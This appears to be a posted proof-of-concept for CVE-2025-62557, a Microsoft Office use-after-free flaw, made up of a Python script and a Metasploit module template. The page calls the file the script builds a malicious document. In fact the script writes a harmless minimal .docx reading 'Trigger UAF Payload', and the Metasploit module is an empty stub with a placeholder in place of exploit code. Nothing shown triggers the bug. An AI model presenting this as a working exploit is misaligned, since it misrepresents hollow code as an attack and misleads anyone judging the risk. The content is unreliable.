CVE-2025-62557: Microsoft Office Use After Free远程代码执行漏洞

// CVE-2025-62557 PoC - Microsoft Office Use After Free // This PoC demonstrates the vulnerability trigger mechanism import struct import zipfile import os def create_malicious_doc(): """ Create a malicious Office document to trigger Use After Free The actual exploitation requires precise memory manipulation """ doc_path = "CVE-2025-62557_poc.docx" # Create minimal Office document structure with zipfile.ZipFile(doc_path, 'w') as docx: # Add document.xml with malicious content docx.writestr('word/document.xml', ''' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>Trigger UAF Payload</w:t> </w:r> </w:p> </w:body> </w:document> '''.encode()) # Add minimal required files docx.writestr('[Content_Types].xml', ''' <?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> </Types> '''.encode()) docx.writestr('_rels/.rels', ''' <?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships> '''.encode()) docx.writestr('word/_rels/document.xml.rels', ''' <?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> </Relationships> '''.encode()) print(f"[+] Created PoC document: {doc_path}") print("[!] Note: Actual exploitation requires advanced heap spray techniques") return doc_path def msf_exploit_module(): """ Metasploit module structure for CVE-2025-62557 Framework: rapid7/metasploit-framework """ module_code = ''' # Metasploit module for CVE-2025-62557 # Microsoft Office Use After Free RCE require 'msf/core/exploit/office_doc' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Use After Free', 'Description' => %q{ This module exploits a use after free vulnerability in Microsoft Office. The vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Office. }, 'Author' => '[email protected]', 'References' => [ ['CVE', '2025-62557'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62557'] ], 'Platform' => 'win', 'Targets' => [ ['Microsoft Office < 2024'], ], 'DisclosureDate' => '2025-12-09' )) end def exploit # Heap spray and UAF trigger mechanism print_status("Triggering CVE-2025-62557...") # Actual exploitation code would go here end end ''' return module_code if __name__ == '__main__': create_malicious_doc() print("\n[+] Metasploit module template generated")